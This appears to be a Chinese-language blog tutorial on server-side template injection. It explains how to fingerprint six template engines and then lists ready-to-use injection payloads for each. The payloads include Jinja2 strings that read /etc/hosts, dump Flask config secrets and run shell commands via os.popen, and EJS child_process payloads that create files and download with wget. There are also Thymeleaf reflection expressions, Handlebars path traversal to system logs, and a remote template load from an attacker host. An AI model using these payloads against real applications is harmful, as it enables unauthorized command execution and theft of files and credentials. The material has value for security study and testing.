目录
一,ssti是什么
二,原理
所谓模板引擎(三列,可滑动查看)
三,漏洞复现
1,如何判断其所属的模板引擎?
2,判断清楚后开始注入
(1)Jinja2(Python)
针对 Flask 应用的攻击
读取文件
执行系统命令
加载并执行 Python 模块
(2),Tornado 模板引擎(Python)
信息获取类
读取文件
(3)Django 模板引擎(Python)
利用视图传递对象属性
绕过过滤器限制(若存在)
(4),EJS(JavaScript,用于 Node.js 的 Express 框架)
读取文件
执行系统命令
(5),Thymeleaf(Java,常用于 Spring Boot)
利用 Java 反射执行代码
利用 Spring 上下文获取 Bean
(6),Handlebars(JavaScript)
结合动态部分模板加载漏洞
结合 JavaScript 注入(若与 JavaScript 交互)
一,ssti是什么
SSTI 通常是指服务器端模板注入,攻击者可以利用该漏洞在服务器端注入恶意代码或命令,从而执行非授权的操作、获取敏感信息或控制服务器。
二,原理
- 模板引擎的作用是将模板和数据结合起来生成最终的 HTML 页面或其他格式的文档。正常情况下,用户输入的数据会被模板引擎按照一定的规则进行处理和显示,以确保数据的安全性和正确性。
- 但当应用程序存在 SSTI 漏洞时,攻击者可以通过精心构造输入数据,使其被模板引擎当作代码来执行。例如,攻击者可能会在一个评论框或搜索框中输入特定的代码片段,如果应用程序没有对输入进行充分的验证和过滤,模板引擎就可能会执行这些恶意代码,从而导致漏洞被利用。
示例:搜索框中触发ssti
url处的划线部分是编码后的{ {6*6}} ,出现36便证明了页面存在ssti漏洞
所谓模板引擎
编程语言 | web框架 | 模板引擎 |
Python | Flask | Jinja2 |
Python | Tornado | Tornado 模板引擎 |
Python | Django | Django模板引擎 |
Java | Spring Boot | Thymeleaf |
Java | Struts2 | FreeMarker |
JavaScript | Express(Node.js) | EJS |
JavaScript | Hapi(Node.js) | Handlebars |
PHP | Symfony | Twig |
PHP | CodeIgniter | Smarty |
不同编程语言有不同的 Web 框架,每个 Web 框架对应一个模板引擎。
注意:Tornado不但是一个框架,还是个web服务器(表中橙色那个)
三,漏洞复现
Web 安全漏洞中遇到服务器端模板注入,需要先判断模板引擎,再根据模板引擎来构造输入。
1,如何判断其所属的模板引擎?
(1),Jinja2(Python)
简单表达式测试:输入 { { 5 + 3 }},若页面返回 8,可能是Jinja2
控制结构测试:输入 {% for i in range(3) %}{ { i }}{% endfor %},若页面输出 012,进一步表明是Jinja2
过滤器测试:输入 { { 'hello'|upper }},若页面返回 HELLO,符合Jinja2语法
(2),Tornado 模板引擎(Python)
表达式测试:输入 { { 5 + 3 }},若页面返回 8,可能是Tornado模板引擎。
逻辑控制测试:输入 {% for i in [0, 1, 2] %}{ { i }}{% end %},若页面输出 012,符合Tornado语法。
(3), Django 模板引擎(Python)
简单表达式与过滤器测试:输入 { { 5|add:3 }},若页面返回 8,可能是Django模板引擎
逻辑判断测试:输入 {% if 5 > 3 %}True{% else %}False{% endif %},若页面返回 True,符合Django语法。
(4),EJS(JavaScript,用于Node.js的Express框架)
表达式输出测试:输入 <%= 5 + 3 %>,若页面返回 8,可能是EJS。
JavaScript代码嵌入测试:输入<% for (let i = 0; i < 3; i++) { %><%= i %><% } %>,若页面输出 012,符合EJS语法。
(5),Thymeleaf(Java,常用于Spring Boot)
变量表达式测试:输入 ${5 + 3},若页面返回 8,可能是Thymeleaf。
条件判断测试(使用Thymeleaf属性):输入(在HTML标签中) <p th:if="${5 > 3}">True</p>,若页面显示 True,符合Thymeleaf语法。
(6),Handlebars(JavaScript)
变量输出测试:输入 { { someVariable }}(假设传递了 someVariable变量),若页面显示该变量的值,可能是Handlebars。
部分模板调用测试:输入 {
{> partialTemplate }}(假设定义了 partialTemplate 部分模板),若页面正确渲染部分模板内容,则是Handlebars。
2,判断清楚后开始注入
(1)Jinja2(Python)
针对 Flask 应用的攻击
- 读取 Flask 应用的
FLAG
- 输入:
{ { url_for.__globals__['current_app'].config['FLAG'] }}
- 原理:
url_for
是 Flask 函数,__globals__
指向其全局命名空间,current_app
是 Flask 应用实例,config
存储配置信息,攻击者借此获取敏感的FLAG
。
- 输入:
- 执行任意 Python 代码(通过导入模块)
- 输入:
{ { url_for.__globals__['__import__']('os').popen('ls /').read() }}
- 原理:利用
__import__
动态导入os
模块,用os.popen
执行系统命令ls /
并读取输出。
- 输入:
- 获取 Flask 应用的所有配置项
- 输入:
{ { url_for.__globals__['current_app'].config.items() }}
- 原理:访问
config.items()
获取 Flask 应用所有配置项及对应值,可能包含数据库连接信息、API 密钥等敏感信息。
- 输入:
读取文件
- 读取
/etc/hosts
文件- 输入:
{ { ''.__class__.__mro__[2].__subclasses__()[40]('/etc/hosts').read() }}
- 原理:与读取
/etc/passwd
类似,通过 Python 内置对象和方法定位到文件操作类,读取指定文件内容。
- 输入:
- 动态指定文件路径
- 输入:
{ { request.args.file|string.__class__.__mro__[2].__subclasses__()[40](request.args.file).read() }}?file=/etc/hosts
- 原理:利用请求参数动态指定要读取的文件路径,增加攻击的灵活性。
- 输入:
执行系统命令
- 查看当前工作目录
- 输入:
{ { ''.__class__.__mro__[2].__subclasses__()[132].__init__.__globals__['os'].popen('pwd').read() }}
- 原理:使用
os.popen
执行pwd
命令,返回当前工作目录。
- 输入:
- 查看系统进程信息
- 输入:
{ { ''.__class__.__mro__[2].__subclasses__()[132].__init__.__globals__['os'].popen('ps -ef').read() }}
- 原理:执行
ps -ef
命令,查看系统中所有进程的详细信息。
- 输入:
加载并执行 Python 模块
- 导入并执行
socket
模块- 输入:
{ { ''.__class__.__mro__[2].__subclasses__()[132].__init__.__globals__['__import__']('socket').gethostname() }}
- 原理:通过
__import__
函数动态导入socket
模块,然后调用gethostname
方法获取主机名。
- 输入:
(2),Tornado 模板引擎(Python)
信息获取类
- 获取应用配置信息
- 输入:
{ { handler.settings }}
- 原理:在 Tornado 框架里,
handler
通常指继承自tornado.web.RequestHandler
的请求处理类实例,settings
是 Tornado 应用程序的配置设置对象。此表达式可输出当前请求处理类实例所关联的应用配置信息,若配置信息包含敏感内容,直接输出会导致信息泄露。
- 输入:
- 获取请求相关信息
- 输入:
{ { handler.request }}
- 原理:
handler.request
包含了客户端请求的详细信息,如请求方法、请求头、请求参数等。攻击者可借此了解请求的上下文,为后续攻击做准备。
- 输入:
读取文件
- 读取
/proc/version
文件(获取系统版本信息)- 输入:
{ { ''.__class__.__mro__[2].__subclasses__()[40]('/proc/version').read() }}
- 原理:同 Jinja2 读取文件原理,利用 Python 内置对象和方法读取指定文件内容。
- 输入:
(3)Django 模板引擎(Python)
利用视图传递对象属性
- 假设视图传递了
settings
对象获取数据库配置- 输入:
{ { settings.DATABASES.default }}
- 原理:尝试访问视图传递的
settings
对象中的数据库配置信息。
- 输入:
- 假设视图传递了
request
对象获取请求信息- 输入:
{ { request.META }}
- 原理:获取请求的元数据信息,可能包含客户端 IP、请求头信息等。
- 输入:
绕过过滤器限制(若存在)
- 假设存在一个自定义过滤器限制了输出
- 输入:
{ { 'a'|add:'b'|add:'c' }}
- 原理:通过多个过滤器组合绕过单一过滤器的限制,拼接字符串。
- 输入:
(4),EJS(JavaScript,用于 Node.js 的 Express 框架)
读取文件
- 读取项目根目录下的
package.json
文件- 输入:
<% var fs = require('fs'); console.log(fs.readFileSync('./package.json', 'utf8')) %>
- 原理:使用 Node.js 的
fs
模块读取项目根目录下的package.json
文件内容。
- 输入:
- 读取用户主目录下的
.bashrc
文件(Linux 系统)- 输入:
<% var fs = require('fs'); console.log(fs.readFileSync(process.env.HOME + '/.bashrc', 'utf8')) %>
- 原理:通过
process.env.HOME
获取用户主目录路径,然后读取.bashrc
文件内容。
- 输入:
执行系统命令
- 创建一个新文件
- 输入:
<% var { execSync } = require('child_process'); execSync('touch /tmp/test.txt') %>
- 原理:使用
child_process
模块的execSync
方法执行touch
命令创建一个新文件。
- 输入:
- 下载一个文件(使用
wget
)- 输入:
<% var { execSync } = require('child_process'); execSync('wget http://example.com/file.txt -O /tmp/downloaded.txt') %>
- 原理:执行
wget
命令从指定 URL 下载文件并保存到本地。
- 输入:
(5),Thymeleaf(Java,常用于 Spring Boot)
利用 Java 反射执行代码
- 获取系统属性
- 输入:
${T(java.lang.System).getProperties()}
- 原理:通过 Java 反射调用
System
类的getProperties
方法获取系统属性。
- 输入:
- 执行 Java 代码创建文件
- 输入:
${T(java.io.File).createTempFile('test', '.txt')}
- 原理:使用反射调用
File
类的createTempFile
方法创建一个临时文件。
- 输入:
利用 Spring 上下文获取 Bean
- 假设存在一个名为
userService
的 Bean- 输入:
${@userService.getUserById(1)}
- 原理:通过 Spring 表达式语言(SpEL)从 Spring 上下文中获取
userService
Bean,并调用其getUserById
方法。
- 输入:
(6),Handlebars(JavaScript)
结合动态部分模板加载漏洞
- 尝试读取不同目录下的文件
- 输入:
{ {> ../../../../var/log/syslog }}
(假设应用未对路径进行严格验证,适用于 Linux 系统) - 原理:利用部分模板加载机制,尝试读取系统日志文件。
- 输入:
- 尝试加载远程文件(若应用存在协议绕过漏洞)
- 输入:
{ {> http://attacker.com/malicious_template.hbs }}
- 原理:如果应用在加载部分模板时未对 URL 进行严格验证,可能会加载远程恶意模板。
- 输入:
结合 JavaScript 注入(若与 JavaScript 交互)
- 假设 Handlebars 模板用于生成 JavaScript 代码
- 输入:
{ { '" + alert("XSS") + "' }}
- 原理:如果模板输出被嵌入到 JavaScript 代码中,可能会导致 XSS 漏洞,弹出警告框。
- 输入: